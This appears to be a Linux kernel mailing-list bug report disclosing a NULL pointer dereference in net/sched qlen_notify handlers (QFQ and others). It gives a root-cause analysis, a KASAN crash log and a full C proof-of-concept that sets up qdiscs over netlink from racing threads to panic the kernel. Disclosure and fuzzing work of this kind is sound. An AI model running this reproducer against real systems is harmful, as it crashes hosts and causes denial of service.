[BUG] general protection fault in qfq_qlen_notify
From: GangMin Kim
Date: Sun Feb 22 2026 - 20:28:33 EST
Dear Linux kernel developers and maintainers,
Using a modified version of syzkaller, I identified a new bug and
refined the PoC, and the bug-related information is attached
below.Please let me know if you need any further information.
Summary
A NULL Pointer Dereference occurs because there is no proper check for
whether cl is NULL when a class is found via cops->find() and then
used in cops->qlen_notify().
This description provides an explanation and KASAN report for
qfq_qlen_notify, but the vulnerability can occur in various other
places such as drr_qlen_notify, hfsc_qlen_notify, htb_qlen_notify,
etc.
Keywords
- net/sched
Kernel Info
Version: (Output of /proc/version)
- Linux version 7.0.0-rc1
Commit: (Git hash if applicable)
- 6de23f81a5e08be8fbf5e8d7e9febc72a5b5f27f
Description(Root Cause)
```c
void qdisc_tree_reduce_backlog(struct Qdisc *sch, int n, int len)
{
const struct Qdisc_class_ops *cops;
unsigned long cl;
u32 parentid;
bool notify;
int drops;
drops = max_t(int, n, 0);
rcu_read_lock();
while ((parentid = sch->parent)) {
if (parentid == TC_H_ROOT)
break;
if (sch->flags & TCQ_F_NOPARENT)
break;
/* Notify parent qdisc only if child qdisc becomes empty. */
notify = !sch->q.qlen;
/* TODO: perform the search on a per txq basis */
sch = qdisc_lookup_rcu(qdisc_dev(sch), TC_H_MAJ(parentid));
if (sch == NULL) {
WARN_ON_ONCE(parentid != TC_H_ROOT);
break;
}
cops = sch->ops->cl_ops;
if (notify && cops->qlen_notify) { // [1]
/* Note that qlen_notify must be idempotent as it may get called
* multiple times.
*/
cl = cops->find(sch, parentid); // [2]
cops->qlen_notify(sch, cl); // [3]
}
sch->q.qlen -= n;
sch->qstats.backlog -= len;
__qdisc_qstats_drop(sch, drops);
}
rcu_read_unlock();
}
```
When condition [1] is satisfied, cl is retrieved at [2] and then
passed to [3]. Here, [2] can return NULL, and using this value at [3]
can cause a NULL Pointer Dereference.
```c
static unsigned long qfq_search_class(struct Qdisc *sch, u32 classid)
{
return (unsigned long)qfq_find_class(sch, classid);
}
static struct qfq_class *qfq_find_class(struct Qdisc *sch, u32 classid)
{
struct qfq_sched *q = qdisc_priv(sch);
struct Qdisc_class_common *clc;
clc = qdisc_class_find(&q->clhash, classid);
if (clc == NULL)
return NULL; // [4]
return container_of(clc, struct qfq_class, common);
}
```
When QFQ is configured, the above function is executed at [2], and
NULL can be returned at [4].
```c
static void qfq_qlen_notify(struct Qdisc *sch, unsigned long arg)
{
struct qfq_sched *q = qdisc_priv(sch);
struct qfq_class *cl = (struct qfq_class *)arg; // [5]
if (list_empty(&cl->alist)) // [6]
return;
qfq_deactivate_class(q, cl);
}
```
If NULL is returned at [2], that value is passed directly to [3],
which becomes cl through [5]. Subsequently, a NULL Pointer Dereference
occurs at [6].
Kasan Report
Oops: general protection fault, probably for non-canonical address
0xdffffc000000000b: 0000 [#1] SMP KASAN NOPTI
KASAN: null-ptr-deref in range [0x0000000000000058-0x000000000000005f]
CPU: 0 UID: 0 PID: 377 Comm: test Not tainted 7.0.0-rc1 #54 PREEMPT(full)
Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix,
1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:qfq_qlen_notify+0x2e/0x180 net/sched/sch_qfq.c:1434
Code: 41 57 41 56 41 55 41 54 55 48 89 fd 53 48 89 f3 4c 8d 7b 58 e8
e3 b3 8a fd 4c 89 fa 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <80> 3c
02 00 0f 85 f8 00 00 00 48 8b 43 58 49 39 c7 0f 84 b9 00 00
RSP: 0018:ffff88811a447258 EFLAGS: 00010212
RAX: dffffc0000000000 RBX: 0000000000000000 RCX: ffffffff83e2af6d
RDX: 000000000000000b RSI: 0000000000000000 RDI: ffff88811b524000
RBP: ffff88811b524000 R08: 0000000000000000 R09: fffffbfff0d3595c
R10: ffffffff869acae7 R11: 00000000ac3123a9 R12: ffffffff859b0b60
R13: ffffffff859b0b40 R14: 0000000000000000 R15: 0000000000000058
FS: 00007ff24e5da700(0000) GS:ffff88834ad0d000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff24e6e95f0 CR3: 000000011a5ff000 CR4: 0000000000750ef0
PKRU: 55555554
Call Trace:
<TASK>
__qdisc_qstats_drop include/net/sch_generic.h:958 [inline]
qdisc_tree_reduce_backlog+0x128/0x400 net/sched/sch_api.c:812
tbf_offload_graft net/sched/sch_tbf.c:191 [inline]
tbf_graft+0x1cc/0x590 net/sched/sch_tbf.c:573
qdisc_refcount_dec_if_one include/net/sch_generic.h:152 [inline]
qdisc_graft+0x2ef/0x1460 net/sched/sch_api.c:1117
__tc_modify_qdisc net/sched/sch_api.c:1631 [inline]
tc_modify_qdisc+0xf4f/0x1e40 net/sched/sch_api.c:1819
rcu_read_unlock include/linux/rcupdate.h:883 [inline]
rtnetlink_rcv_msg+0x3b9/0xa90 net/core/rtnetlink.c:6913
netlink_rcv_skb+0x12e/0x390 net/netlink/af_netlink.c:2539
kfree_skb_reason include/linux/skbuff.h:1322 [inline]
kfree_skb include/linux/skbuff.h:1331 [inline]
netlink_unicast_kernel net/netlink/af_netlink.c:1321 [inline]
netlink_unicast+0x6c1/0x970 net/netlink/af_netlink.c:1344
netlink_sendmsg+0x79c/0xc50 net/netlink/af_netlink.c:2465
__sock_release net/socket.c:673 [inline]
____sys_sendmsg+0x8b2/0xa50 net/socket.c:690
sendmsg_copy_msghdr net/socket.c:2621 [inline]
___sys_sendmsg+0x120/0x1c0 net/socket.c:2642
__sys_sendmsg+0x147/0x1f0 net/socket.c:2681
arch_atomic64_read arch/x86/include/asm/atomic64_64.h:15 [inline]
raw_atomic64_read include/linux/atomic/atomic-arch-fallback.h:2583 [inline]
raw_atomic_long_read include/linux/atomic/atomic-long.h:38 [inline]
atomic_long_read include/linux/atomic/atomic-instrumented.h:3189 [inline]
unwind_reset_info include/linux/unwind_deferred.h:37 [inline]
exit_to_user_mode include/linux/irq-entry-common.h:296 [inline]
syscall_exit_to_user_mode include/linux/entry-common.h:327 [inline]
do_syscall_64+0xf1/0x530 arch/x86/entry/syscall_64.c:100
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7ff24e7c4e4d
Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 ca ee ff ff 8b 54
24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05 <48> 3d
00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 fe ee ff ff 48
RSP: 002b:00007ff24e5d9d90 EFLAGS: 00000293 ORIG_RAX: 000000000000002e
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff24e7c4e4d
RDX: 0000000000000000 RSI: 00007ff24e5d9dd0 RDI: 0000000000000003
RBP: 00007ff24e5d9e30 R08: 0000000000000000 R09: 0000000000050000
R10: 0000000000000000 R11: 0000000000000293 R12: 00007ffcdc50ddde
R13: 00007ffcdc50dddf R14: 00007ff24e5d9fc0 R15: 0000000000022000
</TASK>
Modules linked in:
---[ end trace 0000000000000000 ]---
RIP: 0010:qfq_qlen_notify+0x2e/0x180 net/sched/sch_qfq.c:1434
Code: 41 57 41 56 41 55 41 54 55 48 89 fd 53 48 89 f3 4c 8d 7b 58 e8
e3 b3 8a fd 4c 89 fa 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <80> 3c
02 00 0f 85 f8 00 00 00 48 8b 43 58 49 39 c7 0f 84 b9 00 00
RSP: 0018:ffff88811a447258 EFLAGS: 00010212
RAX: dffffc0000000000 RBX: 0000000000000000 RCX: ffffffff83e2af6d
RDX: 000000000000000b RSI: 0000000000000000 RDI: ffff88811b524000
RBP: ffff88811b524000 R08: 0000000000000000 R09: fffffbfff0d3595c
R10: ffffffff869acae7 R11: 00000000ac3123a9 R12: ffffffff859b0b60
R13: ffffffff859b0b40 R14: 0000000000000000 R15: 0000000000000058
FS: 00007ff24e5da700(0000) GS:ffff88834ad0d000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff24e6e95f0 CR3: 000000011a5ff000 CR4: 0000000000750ef0
PKRU: 55555554
----------------
Code disassembly (best guess):
0: 41 57 push %r15
2: 41 56 push %r14
4: 41 55 push %r13
6: 41 54 push %r12
8: 55 push %rbp
9: 48 89 fd mov %rdi,%rbp
c: 53 push %rbx
d: 48 89 f3 mov %rsi,%rbx
10: 4c 8d 7b 58 lea 0x58(%rbx),%r15
14: e8 e3 b3 8a fd call 0xfd8ab3fc
19: 4c 89 fa mov %r15,%rdx
1c: 48 b8 00 00 00 00 00 movabs $0xdffffc0000000000,%rax
23: fc ff df
26: 48 c1 ea 03 shr $0x3,%rdx
* 2a: 80 3c 02 00 cmpb $0x0,(%rdx,%rax,1) <-- trapping
instruction
2e: 0f 85 f8 00 00 00 jne 0x12c
34: 48 8b 43 58 mov 0x58(%rbx),%rax
38: 49 39 c7 cmp %rax,%r15
3b: 0f .byte 0xf
3c: 84 .byte 0x84
3d: b9 .byte 0xb9
R13: ffffffff859b0b40 R14: 0000000000000000 R15: 0000000000000058
FS: 00007ff24e5da700(0000) GS:ffff88834ad0d000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff24e6e95f0 CR3: 000000011a5ff000 CR4: 0000000000750ef0
PKRU: 55555554
Kernel panic - not syncing: Fatal exception in interrupt
Kernel Offset: disabled
---[ end Kernel panic - not syncing: Fatal exception in interrupt ]---
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
#include <linux/if_ether.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <linux/tc_act/tc_pedit.h>
static unsigned long long procid;
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
/* Constants */
#define TC_MSG_BUFSIZE 16384
#define SYZ_L1_QDISC_COUNT 4
#define SYZ_L1_CLASS_COUNT 3
#define SYZ_L2_QDISC_COUNT 10
#define SYZ_L2_CLASS_COUNT 9
#define TC_HANDLE(maj, min) (((maj) << 16) | (min))
#define SYZ_NLMSG_TAIL(nmsg) \
((struct rtattr*)(((char*)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len)))
static char g_nl_buf[TC_MSG_BUFSIZE];
/* Netlink helpers */
static struct nlmsghdr* nl_msg_init(void)
{
struct nlmsghdr* msg = (struct nlmsghdr*)g_nl_buf;
memset(msg, 0, TC_MSG_BUFSIZE);
msg->nlmsg_len = NLMSG_ALIGN(NLMSG_LENGTH(0));
return msg;
}
static struct tcmsg* nl_msg_init_tc(struct nlmsghdr* msg, uint16_t type,
uint16_t flags, int ifindex,
uint32_t parent, uint32_t handle)
{
struct tcmsg* tc;
msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
msg->nlmsg_type = type;
msg->nlmsg_flags = flags;
tc = (struct tcmsg*)NLMSG_DATA(msg);
tc->tcm_family = AF_UNSPEC;
tc->tcm_ifindex = ifindex;
tc->tcm_parent = parent;
tc->tcm_handle = handle;
return tc;
}
static int nl_attr_put(struct nlmsghdr* msg, int maxlen, int type,
const void* data, int alen)
{
int len = RTA_LENGTH(alen);
struct rtattr* rta;
if (NLMSG_ALIGN(msg->nlmsg_len) + RTA_ALIGN(len) > (unsigned int)maxlen)
return -1;
rta = SYZ_NLMSG_TAIL(msg);
rta->rta_type = type;
rta->rta_len = len;
if (alen && data)
memcpy(RTA_DATA(rta), data, alen);
msg->nlmsg_len = NLMSG_ALIGN(msg->nlmsg_len) + RTA_ALIGN(len);
return 0;
}
static int nl_attr_put_str(struct nlmsghdr* msg, int maxlen, int type,
const char* str)
{
return nl_attr_put(msg, maxlen, type, str, strlen(str) + 1);
}
static int nl_attr_put_u32(struct nlmsghdr* msg, int maxlen, int type,
uint32_t v)
{
return nl_attr_put(msg, maxlen, type, &v, 4);
}
static int nl_attr_put_u16(struct nlmsghdr* msg, int maxlen, int type,
uint16_t v)
{
return nl_attr_put(msg, maxlen, type, &v, 2);
}
static int nl_attr_put_u8(struct nlmsghdr* msg, int maxlen, int type,
uint32_t v)
{
return nl_attr_put(msg, maxlen, type, &v, 1);
}
static struct rtattr* nl_attr_nest_start(struct nlmsghdr* msg, int maxlen,
int type)
{
struct rtattr* nest = SYZ_NLMSG_TAIL(msg);
if (nl_attr_put(msg, maxlen, type | NLA_F_NESTED, NULL, 0) < 0)
return NULL;
return nest;
}
static void nl_attr_nest_end(struct nlmsghdr* msg, struct rtattr* nest)
{
nest->rta_len = (char*)SYZ_NLMSG_TAIL(msg) - (char*)nest;
}
static int nl_send(int sock, struct nlmsghdr* msg)
{
struct sockaddr_nl nladdr;
struct iovec iov;
struct msghdr msgh;
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
iov.iov_base = msg;
iov.iov_len = msg->nlmsg_len;
memset(&msgh, 0, sizeof(msgh));
msgh.msg_name = &nladdr;
msgh.msg_namelen = sizeof(nladdr);
msgh.msg_iov = &iov;
msgh.msg_iovlen = 1;
return sendmsg(sock, &msgh, 0);
}
static void trigger_packet(void)
{
int sock;
struct sockaddr_in addr;
char data[64] = "trigger";
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
return;
const char* ifname = "lo";
if (setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, ifname, strlen(ifname)) <
0) {
}
struct timeval tv;
tv.tv_sec = 0;
tv.tv_usec = 10000;
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(0x7F000001);
addr.sin_port = htons(12345);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
ssize_t wr = write(sock, data, sizeof(data));
(void)wr;
}
close(sock);
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
}
int i, call, thread;
for (call = 0; call < 6; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
if (call == 3 || call == 4)
break;
event_timedwait(&th->done, 50);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
sleep_ms(10);
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
if (current_time_ms() - start < 5000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
static int del_qdisc(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
struct nlmsghdr* msg = nl_msg_init();
nl_msg_init_tc(msg, RTM_DELQDISC, NLM_F_REQUEST, ifindex, parent, handle);
return nl_send(sock, msg);
}
static void cleanup_tc(int sock, int ifindex)
{
del_qdisc(sock, ifindex, TC_H_ROOT, 0);
del_qdisc(sock, ifindex, TC_H_INGRESS, 0);
}
static int sched_cls_act(void)
{
int sock, ifindex = 1;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
struct rtattr *act_item, *act_opts;
struct nlmsghdr* msg = nl_msg_init();
struct tcmsg* tc;
struct rtattr *opts_nest, *act_nest;
tc = nl_msg_init_tc(msg, RTM_NEWTFILTER, NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, ifindex, 0x10000, 0);
uint32_t prio = 0x1;
uint32_t proto = ETH_P_ALL;
tc->tcm_info = TC_H_MAKE(prio << 16, htons(proto));
nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "basic");
opts_nest = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
nl_attr_put_u32(msg, TC_MSG_BUFSIZE, TCA_MATCHALL_CLASSID, 0x10001);
act_nest = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, TCA_BASIC_ACT);
act_item = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, 1);
nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_ACT_KIND, "pedit");
act_opts = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, TCA_ACT_OPTIONS);
struct {
struct tc_pedit_sel sel;
struct tc_pedit_key keys[1];
} pedit;
memset(&pedit, 0, sizeof(pedit));
pedit.sel.nkeys = 1;
pedit.keys[0].off = 0;
pedit.keys[0].mask = 0xFFFFFFFF;
pedit.keys[0].val = 0;
nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_PEDIT_PARMS, &pedit, sizeof(pedit));
nl_attr_nest_end(msg, act_opts);
nl_attr_nest_end(msg, act_item);
nl_attr_nest_end(msg, act_nest);
nl_attr_nest_end(msg, opts_nest);
nl_send(sock, msg);
close(sock);
trigger_packet();
return 0;
}
static int add_qdisc_htb(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
struct nlmsghdr* msg = nl_msg_init();
struct rtattr* nest;
struct tc_htb_glob glob;
nl_msg_init_tc(msg, RTM_NEWQDISC, NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL,
ifindex, parent, handle);
nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "htb");
nest = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
memset(&glob, 0, sizeof(glob));
glob.version = 3;
glob.rate2quantum = 10;
glob.defcls = 0;
nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_HTB_INIT, &glob, sizeof(glob));
nl_attr_nest_end(msg, nest);
return nl_send(sock, msg);
}
static int add_qdisc_qfq(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
struct nlmsghdr* msg = nl_msg_init();
nl_msg_init_tc(msg, RTM_NEWQDISC, NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL,
ifindex, parent, handle);
nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "qfq");
return nl_send(sock, msg);
}
static long sch_set(void)
{
int sock, ifindex = 1;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock < 0) return -1;
cleanup_tc(sock, ifindex);
add_qdisc_qfq(sock, ifindex, TC_H_ROOT, TC_HANDLE(1,0));
add_qdisc_htb(sock, ifindex, TC_HANDLE(1,0), TC_HANDLE(1,1));
close(sock);
return 0;
}
static int add_qdisc_tbf(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
struct nlmsghdr* msg = nl_msg_init();
struct tc_tbf_qopt qopt = {0};
struct rtattr* nest;
nl_msg_init_tc(msg, RTM_NEWQDISC, NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL,
ifindex, parent, handle);
nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "tbf");
nest = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
qopt.rate.rate = 1000000;
qopt.buffer = 1600;
qopt.limit = 10000;
qopt.peakrate.rate = 2000000;
qopt.mtu = 1600;
nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_TBF_PARMS, &qopt, sizeof(qopt));
nl_attr_put_u32(msg, TC_MSG_BUFSIZE, TCA_TBF_PBURST, 1600);
nl_attr_nest_end(msg, nest);
return nl_send(sock, msg);
}
static int add_class_htb(int sock, int ifindex, uint32_t parent, uint32_t handle)
{
struct nlmsghdr* msg = nl_msg_init();
struct tc_htb_opt hopt = {0};
struct rtattr* nest;
nl_msg_init_tc(msg, RTM_NEWTCLASS, NLM_F_REQUEST | NLM_F_CREATE,
ifindex, parent, handle);
nl_attr_put_str(msg, TC_MSG_BUFSIZE, TCA_KIND, "htb");
nest = nl_attr_nest_start(msg, TC_MSG_BUFSIZE, TCA_OPTIONS);
hopt.rate.rate = 1000000;
hopt.ceil.rate = 10000000;
hopt.buffer = 1600;
hopt.cbuffer = 1600;
hopt.quantum = 1514;
nl_attr_put(msg, TC_MSG_BUFSIZE, TCA_HTB_PARMS, &hopt, sizeof(hopt));
nl_attr_nest_end(msg, nest);
return nl_send(sock, msg);
}
static long sch_set2(void)
{
int sock, ifindex = 1;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
cleanup_tc(sock, ifindex);
add_qdisc_htb(sock, ifindex, TC_H_ROOT, TC_HANDLE(1,0));
add_class_htb(sock, ifindex, TC_HANDLE(1,0), TC_HANDLE(1,1));
add_qdisc_tbf(sock, ifindex, TC_HANDLE(1,1), TC_HANDLE(2,0));
add_class_htb(sock, ifindex, TC_HANDLE(2,0), TC_HANDLE(2,1));
add_qdisc_htb(sock, ifindex, TC_HANDLE(2,1), TC_HANDLE(5,0));
close(sock);
return 0;
}
void execute_call(int call)
{
switch (call) {
case 0:
trigger_packet();
break;
case 1:
trigger_packet();
break;
case 2:
trigger_packet();
break;
case 3:
sch_set2();
break;
case 4:
sch_set();
break;
case 5:
sched_cls_act();
break;
}
}
int main(void)
{
const char* reason;
(void)reason;
for (procid = 0; procid < 8; procid++) {
if (fork() == 0) {
loop();
}
}
sleep(1000000);
return 0;
}
Attachment:
.config
Description: XML document